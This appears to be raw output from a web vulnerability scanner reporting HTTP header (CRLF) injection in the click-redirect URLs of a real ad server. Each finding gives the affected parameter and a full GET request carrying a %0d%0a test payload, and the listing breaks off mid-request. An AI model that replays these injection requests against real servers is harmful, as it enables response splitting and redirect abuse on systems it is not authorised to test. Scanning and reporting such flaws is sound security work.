GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/;ord=d8e25%0d%0abe3ec6901dd HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of REST URL parameter 3 is copied into the Location response header. The payload ebaaf%0d%0a08b66f30576 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/ebaaf%0d%0a08b66f30576/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of REST URL parameter 4 is copied into the Location response header. The payload 5b6fb%0d%0a147c7cf0d7 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/5b6fb%0d%0a147c7cf0d7/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of REST URL parameter 5 is copied into the Location response header. The payload 8b8e4%0d%0ae7010146c86 was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/8b8e4%0d%0ae7010146c86 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the a request parameter is copied into the Location response header. The payload 97bca%0d%0a2b7989845c9 was submitted in the a parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r;a=97bca%0d%0a2b7989845c9&vehicle=rogue&dcp=omd.55865628.&dcc=39972439.232434380&dcn=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the dcc request parameter is copied into the Location response header. The payload 2b31b%0d%0ade2b2ba9b51 was submitted in the dcc parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=rogue&dcp=omd.55865628.&dcc=2b31b%0d%0ade2b2ba9b51&dcn=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the dcn request parameter is copied into the Location response header. The payload 4af06%0d%0a498f542876a was submitted in the dcn parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=rogue&dcp=omd.55865628.&dcc=39972439.232434380&dcn=4af06%0d%0a498f542876a HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the dcp request parameter is copied into the Location response header. The payload 6aeb8%0d%0adcca9fab7ae was submitted in the dcp parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=rogue&dcp=6aeb8%0d%0adcca9fab7ae&dcc=39972439.232434380&dcn=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
3.32. http://a.tribalfusion.com/h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload d9f87%0d%0aa0e3ab0b09a was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r?d9f87%0d%0aa0e3ab0b09a=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the vehicle request parameter is copied into the Location response header. The payload 3441b%0d%0a47ca73b60ee was submitted in the vehicle parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aOmNvBpGrwoHYF2EY93Wmt46ZbZbpF3K0G7QXVn3XG7ynEZbW3FFPWrJDWmv4REnSPGnsQtUO1drrV6nv4GrW0UFZaVmPw4PYcR6bK2Wry1HBZbptAo5mYW3srcTVncWVMgR6JvTt3RTUbP5rAsWE3wWaY8PT3FQUZbvNiKVRq/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=3441b%0d%0a47ca73b60ee&dcp=omd.55865628.&dcc=39972439.232434380&dcn=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the ;ord request parameter is copied into the Location response header. The payload 655ab%0d%0a1d53ab93dd7 was submitted in the ;ord parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366?;ord=655ab%0d%0a1d53ab93dd7 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 10 is copied into the Location response header. The payload da34d%0d%0ab1265b79bf1 was submitted in the REST URL parameter 10. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/da34d%0d%0ab1265b79bf1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 11 is copied into the Location response header. The payload 845ac%0d%0a5c1762bceb0 was submitted in the REST URL parameter 11. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/845ac%0d%0a5c1762bceb0/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 12 is copied into the Location response header. The payload d803e%0d%0a85430c945da was submitted in the REST URL parameter 12. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/d803e%0d%0a85430c945da/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 13 is copied into the Location response header. The payload 1e26f%0d%0a98d0c7685b was submitted in the REST URL parameter 13. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/1e26f%0d%0a98d0c7685b/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 14 is copied into the Location response header. The payload 2c6a9%0d%0a7020e2fed79 was submitted in the REST URL parameter 14. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/2c6a9%0d%0a7020e2fed79/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 